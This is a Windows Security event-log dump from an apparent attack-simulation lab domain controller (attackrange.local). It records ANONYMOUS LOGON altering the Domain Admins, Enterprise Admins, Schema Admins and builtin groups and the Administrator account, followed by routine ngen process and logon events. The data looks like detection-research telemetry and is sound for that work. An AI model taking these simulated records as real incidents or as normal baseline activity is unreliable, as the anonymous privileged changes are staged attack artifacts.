	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Administrators
	Group Name:		Administrators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254781
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Replicator
	Group Name:		Replicator
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254780
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Account Operators
	Group Name:		Account Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254779
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Server Operators
	Group Name:		Server Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254778
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Print Operators
	Group Name:		Print Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4735
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254777
Keywords=Audit Success
Message=A security-enabled local group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		BUILTIN\Backup Operators
	Group Name:		Backup Operators
	Group Domain:		Builtin

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254776
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Enterprise Admins
	Group Name:		Enterprise Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4738
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=User Account Management
OpCode=Info
RecordNumber=254775
Keywords=Audit Success
Message=A user account was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Target Account:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	Display Name:		-
	User Principal Name:	-
	Home Directory:		-
	Home Drive:		-
	Script Path:		-
	Profile Path:		-
	User Workstations:	-
	Password Last Set:	-
	Account Expires:		-
	Primary Group ID:	-
	AllowedToDelegateTo:	-
	Old UAC Value:		-
	New UAC Value:		-
	User Account Control:	-
	User Parameters:	-
	SID History:		-
	Logon Hours:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4755
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254774
Keywords=Audit Success
Message=A security-enabled universal group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Schema Admins
	Group Name:		Schema Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4737
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Security Group Management
OpCode=Info
RecordNumber=254773
Keywords=Audit Success
Message=A security-enabled global group was changed.

Subject:
	Security ID:		NT AUTHORITY\ANONYMOUS LOGON
	Account Name:		ANONYMOUS LOGON
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E6

Group:
	Security ID:		ATTACKRANGE\Domain Admins
	Group Name:		Domain Admins
	Group Domain:		ATTACKRANGE

Changed Attributes:
	SAM Account Name:	-
	SID History:		-

Additional Information:
	Privileges:		-
03/12/2021 12:06:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254789
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x124c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 344 -Pipe 2b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254788
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 0 -NGENProcess 2ac -Pipe 31c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254787
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 0 -NGENProcess 1ac -Pipe 298 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254786
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2a0 -InterruptEvent 0 -NGENProcess 2ac -Pipe 324 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254791
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x127c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 310 -Pipe 344 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254790
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x718
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f0 -InterruptEvent 0 -NGENProcess 334 -Pipe 2ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254795
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 348 -InterruptEvent 0 -NGENProcess 300 -Pipe 318 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254794
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 32c -Pipe 354 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254793
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 34c -InterruptEvent 0 -NGENProcess 314 -Pipe 2a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:40 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254792
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 0 -NGENProcess 34c -Pipe 2f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254796
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 364 -Pipe 338 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:43 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254797
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 36c -InterruptEvent 0 -NGENProcess 310 -Pipe 368 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:06:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254800
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D2C4B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:06:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254799
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x1D2C4B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62501

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:06:44 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254798
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1D2C4B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:06:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254802
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
